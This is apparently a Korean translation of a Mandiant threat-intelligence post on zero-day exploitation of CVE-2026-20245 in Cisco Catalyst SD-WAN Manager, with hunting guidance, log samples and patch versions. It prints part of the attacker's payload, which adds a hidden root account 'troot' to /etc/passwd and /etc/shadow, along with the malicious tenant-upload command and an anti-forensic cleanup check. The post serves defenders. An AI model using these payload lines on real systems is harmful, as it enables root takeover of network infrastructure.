Cisco Catalyst SD-WAN Manager 내 취약점(CVE-2026-20245)의 제로데이 악용
Mandiant
해당 블로그의 원문은 2026년 6월 25일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: Chester Sng, Pete Boonyakarn, Logeswaran Nadarajan, Lukasz Lamparski
서론
2026년 초, 맨디언트(Mandiant)는 한 서비스 제공업체(Service Provider)의 SD-WAN 인프라를 표적으로 삼은 위협 행위자를 식별했습니다. 최초 침입을 달성한 후, 이 위협 행위자는 Cisco Catalyst SD-WAN의 제로데이 취약점(CVE-2026-20245)을 악용하여 침해된 관리자 계정에서 루트(root) 수준의 권한으로 권한을 상승시켰습니다.
해당 취약점은 장비의 파일 업로드 기능에 악성 데이터를 적절히 필터링하는 능력이 결여되어 있어 발생합니다.
침입 기간 전반에 걸쳐 위협 행위자는 운영 보안을 유지하고 탐지를 우회하기 위해, 자신들의 활동 중에 수정된 시스템 구성 파일을 선택적으로 삭제하고 복구하는 대포렌식(Anti-forensic) 기법을 일관되게 적용했습니다.
주요 관찰 사항
-
비인가 피어링 및 자격 증명 조작: 2026년 3월, 위협 행위자는 SSH(Secure Shell) 접속을 용이하게 하고자 승인되지 않은 비인가 피어링 연결을 수립해 최초 침투를 달성했습니다. 그 후 이 접속 권한을 사용해 탐지를 우회할 목적으로 기본 계정 패스워드를 조작했습니다.
-
CVE-2026-20245 취약점 악용: 뒤이어 공격자는 Cisco Catalyst SD-WAN Manager에 존재하는 제로데이 권한 상승 취약점(현재 CVE-2026-20245로 추적됨)을 악용하여 악성 CSV 파일을 업로드하는 방식으로 루트 수준의 권한을 획득했습니다.
-
광범위한 대포렌식 흔적 인프라 정리: 위협 행위자는 악성 파일을 삭제하고, 변경된 구성을 복구했으며, 흔적(지표)들이 완전히 소멸되었는지 확실히 보장하기 위해 검증 스크립트를 실행했습니다.
SD-WAN이란 무엇인가요?
전통적인 광대역 네트워크(WAN)는 트래픽을 라우팅하기 위해 물리적인 전용 하드웨어 라우터에 크게 의존합니다. 이러한 모델은 대개 경직되어 있고 확장 규모를 늘리기 복잡하며, 현대 클라우드 컴퓨팅의 요구 사항을 처리하는 데 한계가 있습니다.
소프트웨어 정의 광대역 네트워크(SD-WAN)는 네트워크의 관리 및 제어 로직을 하부의 물리적 하드웨어로부터 분리하여 이 문제를 해결합니다. 개별 라우터를 일일이 하나씩 구성하는 대신, 중앙 집중식 소프트웨어 컨트롤러를 사용해 단일 대시보드에서 전체 네트워크를 오케스트레이션(조율)합니다. SD-WAN은 주로 은행, 소매 법인, 기술 서비스 및 의료 제공업체와 같이 고도로 분산된 조직에서 여러 원격 지사 위치를 중앙 클라우드 서비스에 직접 안전하게 연결하기 위해 사용됩니다.
피어링이란 무엇인가요?
SD-WAN 패브릭 내부에서 피어링(Peering)은 에지 라우터, 지역 허브, 중앙 컨트롤러 등 고유한 네트워크 구성 요소 간에 신뢰할 수 있고 인증된 관계를 수립하는 논리적 프로세스입니다.
네트워크 패브릭 전체에 걸쳐 데이터를 안전하게 전송하기 전에, 이 장치들은 디지털 핸드셰이크(Handshake)를 수행해야 합니다. 피어링 단계에서 장치들은 암호화 인증서를 사용하여 상호 인증을 수행합니다. 신원과 신뢰성이 검증되면, 장치들은 하부의 라우팅 테이블을 교환하고 안전한 데이터 전송을 돕기 위해 자동으로 보안 터널을 구축합니다.
Cisco Catalyst SD-WAN 컨트롤러의 추가 취약점들
CVE-2026-20127 및 CVE-2026-20182는 Cisco Catalyst SD-WAN 컨트롤러의 피어링 인증 메커니즘에 영향을 미치는, 최근 시스코(Cisco)에 의해 공개된 치명적인 취약점들입니다. 두 취약점 모두 인증되지 않은 원격 공격자가 인증을 우회하고 관리자 권한을 획득할 수 있도록 허용할 수 있습니다.
침입 캠페인 개요
비인가 피어링 연결을 통한 최초 침투
2025년 말부터 2026년 1월까지, 맨디언트는 피해 조직의 SD-WAN Manager 장비를 겨냥한 승인되지 않은 비인가 피어링 연결들을 다수 목격했습니다. 이 기간 동안 해당 취약점들에 대한 정보가 공개되지 않았고 패치도 가용하지 않았기 때문에, 이 연결들은 CVE-2026-20127 또는 CVE-2026-20182의 악용으로 인해 발생했을 가능성이 있습니다.
2026년 3월을 시작으로, CVE-2026-20127의 영향을 받지 않는 소프트웨어 버전을 가동 중인 장비에서 추가적인 비인가 피어링 연결들이 식별되었습니다. 그러나 시스코는 이 연결들이 CVE-2026-20182를 악용하지 않았으며, 대신 동일한 장비의 이전 침해 과정에서 유출되어 도용된 인증서 자산을 사용했을 수 있음을 확인했습니다.
2025년 말부터 2026년 1월까지, 그리고 2026년 3월에 발생한 비인가 피어링 활동의 배후가 동일한 위협 행위자였는지는 불분명합니다.
관리자 계정 패스워드 변경을 통한 성공적인 인증
2026년 3월, 위협 행위자는 동일한 피해 장비들 상에서 새로운 비인가 피어 관계를 수립하고, vmanage-admin 계정을 사용해 SSH를 경유하여 SD-WAN Manager 장비에 성공적으로 인증했습니다.
SSH를 통해 인증을 마친 위협 행위자는 기본 admin 계정의 비밀번호를 변경하는 명령어들을 실행했습니다. 그 후 이들은 admin 계정을 사용해 SD-WAN Manager 웹 애플리케이션 인터페이스에 직접 인증하여 로그인한 뒤, SD-WAN 패브릭의 환경 설정 파일들을 무단 유출했습니다.
[2026-03-07T01:31:48.464Z]"POST /j_security_check HTTP/1.1" 200 - 31 0 1288 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:49.017Z] "GET /dataservice/system/device/vedges HTTP/1.1" 200 - 0 10114 127 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:50.017Z] "GET /dataservice/system/device/controllers HTTP/1.1" 200 - 0 15815 100 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:51.925Z] "GET /dataservice/template/config/attached/<Device ID> HTTP/1.1" 200 - 0 3732 18 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:52.493Z] "GET /dataservice/template/config/running/<Device ID> HTTP/1.1" 400 - 0 134 19 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
<...>
그림 1: 위협 행위자 인증 및 환경 설정 유출
그 후, 위협 행위자는 활성화된 세션을 종료하기 전에 기존 vmanage-admin 세션을 사용하여 admin 계정의 비밀번호를 원래 상태로 다시 변경해 두었습니다. 이러한 행위는 일상적인 운영 중에 관리자가 장치에 로그인하려고 시도할 때 발생할 수 있는 탐지 가능성을 낮추기 위해 수행된 것으로 보입니다.
vmanage-admin 및 admin 계정은 서로 다른 권한을 가진 Cisco Catalyst SD-WAN 컨트롤러의 기본 계정이지만, 둘 다 루트 셸(root shell) 접근 권한을 가지고 있지는 않습니다.
권한 상승을 위한 CVE-2026-20245 취약점 악용
맨디언트가 관찰한 바에 따르면, 2026년 4월 admin 계정으로 SSH 세션을 수립한 후, 위협 행위자는 evil_tenant.csv라는 이름의 파일을 업로드하기 위해 다음 명령을 실행함으로써 CVE-2026-20245 취약점을 악용했습니다.
request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0
그림 2: 악성 파일 업로드
맨디언트가 시스코에 보고한 취약점인 CVE-2026-20245는 Cisco Catalyst SD-WAN 컨트롤러의 명령줄 인터페이스(CLI)에 존재하며, 인증된 로컬 공격자가 영향을 받는 시스템에 제작된 파일을 제공함으로써 root 권한으로 임의의 명령을 실행할 수 있도록 허용할 수 있습니다.
evil_tenant.csv 파일에는 익스플로잇 페이로드가 포함되어 있습니다. 아래의 코드 블록(그림 3)은 시스템의 /etc/passwd 및 /etc/shadow 파일에 악성 항목을 추가하려고 시도하는 익스플로잇의 일부를 보여줍니다.
if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ] && grep -q '<redacted>' /usr/share/viptela/vbond_vsmart_tenant_list 2>/dev/null; then
echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
elif [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then
echo present > /home/admin/.orig_vbond_vsmart_tenant_list.state;
cp -a /usr/share/viptela/vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list;
else
echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
fi;
cp -a /etc/passwd /home/admin/.orig_passwd;
cp -a /etc/shadow /home/admin/.orig_shadow;
grep -q '^troot:' /etc/passwd || echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd;
grep -q '^troot:' /etc/shadow || echo 'troot:<redacted>:19000:0:99999:7:::' >> /etc/shadow
그림 3: 악성 항목 추가
이 명령을 통해 위협 행위자는 다음을 달성했습니다:
-
익스플로잇 진행 중에
evil_tenant.csv내용에 의해 덮어써졌을 원본vbond_vsmart_tenant_list구성 파일을 백업했습니다. 이 백업은 관리자에게 경고를 보낼 수 있는 잘못된 구성을 SD-WAN Manager 장치가 로드하지 않도록 보장하면서, 행위자가 나중에 파일을 복구할 수 있도록 하기 위해 생성되었을 가능성이 높습니다. -
원본
/etc/passwd및/etc/shadow파일의 백업을 생성했습니다. -
전체 root 권한을 가진
troot라는 이름의 사용자 계정을 생성했습니다.
맨디언트는 이후 위협 행위자가 su(substitute user) 명령어를 통해 admin 계정에서 이 새로운 troot 계정으로 접속하는 것을 관찰했습니다.
대포렌식 기법
맨디언트는 위협 행위자가 포렌식 흔적을 최소화하기 위해 evil_tenant.csv를 포함하여 자신들이 생성한 모든 파일을 삭제하고 수정했던 모든 시스템 구성을 복구한 것을 식별했습니다. 이러한 삭제 및 수정 작업은 자신들의 포렌식 흔적을 최소화하기 위해 수행되었습니다.
이와 더불어, 맨디언트는 위협 행위자의 활동 지표들이 제거되었는지 확인하는 검증 스크립트의 실행 역시 관찰했습니다.
for f in /home/admin/evil_tenant.csv /home/admin/.orig_vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list.state /home/admin/.orig_passwd /home/admin/.orig_shadow;
do if [ -e "$f" ];
then echo PRESENT:$f; ls -ld "$f";
else echo ABSENT:$f;
fi;
done;
if grep -q '^troot:' /etc/passwd;
then echo PRESENT:/etc/passwd:troot;
else echo ABSENT:/etc/passwd:troot;
fi;
if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ];
then echo PRESENT:/usr/share/viptela/vbond_vsmart_tenant_list; ls -ld /usr/share/viptela/vbond_vsmart_tenant_list;
else echo ABSENT:/usr/share/viptela/vbond_vsmart_tenant_list;
fi
그림 4: 검증 스크립트
이 스크립트는 다음 사항들의 존재 여부를 확인합니다:
-
/home/admin경로 내에 위협 행위자가 생성한 파일들. -
passwd및shadow파일 내의troot계정. -
vbond_vsmart_tenant_list파일의 존재 여부 및 파일 정보 확인 (이는 원본 파일이 정상적으로 복구되었는지 확인하기 위한 것으로 보입니다).
전망 및 시사점
이번 캠페인은 위협 행위자들이 전통적인 보안 경계선을 우회하기 위해 네트워크 장비의 침해를 우선시하는 '에지 중심 공격(living off the edge)' 패러다임을 극명히 보여줍니다. 조직들이 소프트웨어 정의 네트워킹(SDN)을 점점 더 많이 도입함에 따라, 이러한 환경을 관리하는 오케스트레이터들이 기본 표적이 되고 있습니다. 이 장비들은 위협 행위자들에게 '블랙박스' 환경을 제공합니다. 즉, 심층 포렌식 분석에 필요한 원격 측정 데이터(telemetry)가 결여되어 있는 경우가 많으며, 중앙 제어 평면(control plane) 역할을 하기 때문에 내부 기업 트래픽에 대한 지속적이고 광범위한 접근 권한을 은밀하게 확보할 수 있는 플랫폼이 됩니다. 정부 지원을 받는 공격자들에게 이러한 플랫폼의 제로데이 취약점을 악용하는 능력은 장기적인 전략적 인텔리전스 수집을 위한 최상의 경로로 남아 있습니다. 구글 위협 인텔리전스 그룹(GTIG)은 지난 수년간 에지 장비에 대한 제로데이 취약점 악용 증가 추세를 밀접하게 추적하고 보고해 왔습니다.
침해 사고 해결 및 시스템 보안 강화
-
IOC 스윕 및 위협 사냥 수행: 모든 제어 평면(control-plane) 구성 요소에서
request admin-tech명령을 실행하여 SD-WAN 장비로부터 로그 및 진단 데이터를 수집하십시오. 수집된 데이터에서 알려진 침해 지표(IOC)가 있는지 스캔하고, 본 블로그 포스트의 '탐지 및 사냥(Detections and Hunting)' 섹션에 식별된 TTPs에 중점을 둔 위협 사냥을 수행하십시오. 실제 악성 징후(True positive)가 관찰되면 즉시 전체 조사를 실시하십시오. -
수동 복구 지원: 시스코의 지침에 따라, 확인된 모든 침해 지표 또는 의심스러운 활동 정보는 종합적인 검토 및 복구 지원을 위해 Cisco Technical Assistance Center (TAC)로 즉시 전달되어야 합니다.
-
최우선 긴급 패치 및 업그레이드 적용: 조직들은 CVE-2026-20245 취약점을 해결하기 위해 Cisco Catalyst SD-WAN Manager를 수정 버전인 20.9.9.2, 20.12.7.2, 20.15.4.5, 20.15.5.3, 20.18.3.1, 26.1.1.2 또는 그 이후 릴리즈로 신속히 업그레이드하는 것을 최우선 과제로 삼아야 합니다.
-
Cisco Catalyst SD-WAN 보안 강화 및 로깅 지침 시행: 조직들은 Cisco Catalyst SD-WAN 보안 강화 가이드(Cisco Catalyst SD-WAN Hardening Guide)에 상세히 기술된 종합적인 보안 모범 사례 및 구성 기준들을 준수해야 합니다. 이 가이드는 비인가 접근으로부터 관리, 제어 및 데이터 평면을 포함한 모든 SD-WAN 구성 요소를 보호하기 위한 강력한 심층 방어 프레임워크를 제공합니다.
침해 지표 (Indicators of Compromise, IOCs)
본 블로그 포스트에 기술된 활동을 탐색하고 식별하는 데 도움을 주어 보안 커뮤니티 전반을 지원하기 위해, 가입한 등록 사용자들이 확인할 수 있도록 무료 GTI 컬렉션(GTI Collection)에 침해 지표(IOC)를 포함해 두었습니다.
네트워크 지표
파일 지표
위협 행위자의 광범위한 대포렌식 인프라 정리로 인해 이번 침입과 관련된 여러 파일이 덮어써지거나 삭제되었습니다. 그러나 악성 CSV 페이로드의 포렌식 흔적이 복구되었습니다.
탐지 및 헌팅
맨디언트(Mandiant)는 조직이 본 보고서에 설명된 전술, 기법 및 절차(TTPs)에 중점을 둔 선제적인 위협 사냥을 수행하여 일상적인 운영에 묻혀 지나갈 수 있는 의심 활동을 식별할 것을 권장합니다. 일부 침해 지표는 정상적인 관리자 작업과 매우 유사할 수 있으므로, 오탐(False Positive)을 최소화하기 위해 수집된 관찰 결과를 기존 네트워크 보안 태세와 정밀하게 비교 분석하는 것이 매우 중요합니다.
시스코(Cisco)의 가이드에 따라, 의심스러운 활동이나 확인된 IOC는 종합적인 검토 및 지원을 위해 즉시 시스코 기술 지원 센터(TAC)로 전달되어야 합니다.
vmanage-admin 계정을 사용한 비인가 SSH 연결
예상치 못한 외부 IP 주소로부터 vmanage-admin 사용자 계정을 사용해 로그인한 이력이 있는지 인증 로그(/var/log/auth.log)를 모니터링하십시오.
Jan 01 07:58:00 vManage sshd[20766]: Accepted publickey for vmanage-admin from <Threat Actor IP> port 48373 ssh2: RSA SHA256:<redacted>
Jan 01 08:01:00 vManage sshd[25178]: Accepted keyboard-interactive/pam for admin from <Threat Actor IP> port 60552 ssh2
그림 5: 예상치 못한 소스 원본으로부터의 SSH 접속
의심스러운 비밀번호 변경 이벤트
/var/log/auth.log 내에서 짧은 시간 간격으로 관리자(admin) 계정을 표적으로 삼은 비밀번호 변경 이력이 있는지 감사하십시오. 특히 자격 증명이 설정된 직후에 원래 비밀번호로 다시 되돌아간(reverted) 흔적이 있는지 확인하는 것이 중요합니다.
Jan 01 08:00:00 vManage usermod[12345]: change user 'admin' password
Jan 01 08:15:00 vManage usermod[12345]: change user 'admin' password
그림 6: 비밀번호 변경 로그
방어자들은 또한 사용자 비밀번호 변경을 표적으로 하는 환경 설정 델타 커밋(delta commits) 정보를 파악하기 위해 /var/confd/rollback/ 경로 내에 존재하는 롤백 파일을 정밀 조사해야 합니다:
# Created by: vmanage-admin
# Date: 2026-01-01 08:00:00
# Via: netconf
# Type: delta
# Label:
# Comment:
# No: 10000
# TransactionId: 12345678
# Hostname: vManage
system {
aaa {
user admin {
password <redacted>;
}
}
}
그림 7: 롤백 파일 예시
의심스러운 su 명령어 실행
관리자(admin) 계정에서 비인가 계정(예: troot)으로 사용자 전환(su) 명령어가 성공적으로 가동된 기록이 있는지 터미널 명령어 히스토리와 시스템 로그(/var/log/auth.log)를 감사하십시오.
Jan 01 08:03:00 vManage su[24289]: Successful su for troot by admin
그림 8: su를 이용한 로그인 흔적
CVE-2026-20245 취약점 악용
vconfd_script_upload_tenant_list.sh 스크립트의 비인가 실행이나 실행 이상 징후가 기록되었는지 스크립트 로그(/var/log/scripts.log)를 모니터링하십시오.
Jan 01 08:01:05 vManage vScript: Tenant list upload per vsmart serial number: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/evil_tenant.csv vpn 0
Jan 01 08:01:05 vManage vScript: uploading tenant list via VPN 0 true
Jan 01 08:01:05 vManage vScript: Copying ... /home/admin/evil_tenant.csv via VPN 0
Jan 01 08:01:05 vManage vScript: Successfully loaded the tenant placement file
그림 9: 비정상적인 스크립트 실행 흔적
또한 방어자는 구체적인 관리자 업로드 명령을 식별하기 위해 Viptela CLI 내부에서 show history 명령을 실행하여 현재 가동 중인 명령어 히스토리를 쿼리하고 조회할 수 있습니다:
01-01 08:01:05 -- request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0
그림 10: 커맨드 실행 흔적
Google Security Operations (SecOps)
Google SecOps(Google Security Operations)를 이용 중인 엔터프라이즈 고객사들은 Mandiant Intel Emerging Threats 룰 팩을 통해 광범위한 침해 감지 규칙 및 정교한 탐지 룰셋들을 활성 활용할 수 있습니다. 본 블로그 포스트에 정리된 침해 활동들은 구글 SecOps 내부에서 다음의 탐지 규칙(Rule Names)들을 통해 탐지 및 실시간 식별이 가용합니다:
-
권한 계정을 Passwd 데이터베이스에 추가
-
Passwd 또는 Shadow 내에서 Grep 명령을 사용한 권한 계정 탐색
-
민감 시스템 파일의 무단 백업 은닉
-
Usr Share에서 사용자 숨김 디렉터리로의 의심스러운 파일 복사 행위
감사의 글 (Acknowledgements)
맨디언트는 이번 긴밀한 취약점 공동 공개 및 대응 조율 과정(Coordinated Disclosure Process) 전반에 걸쳐 신뢰할 수 있는 기술적 협력 관계와 파트너십을 보여준 시스코 제품 보안 사고 대응 팀(Cisco Product Security Incident Response Team, PSIRT)에 깊은 감사의 뜻을 전합니다.
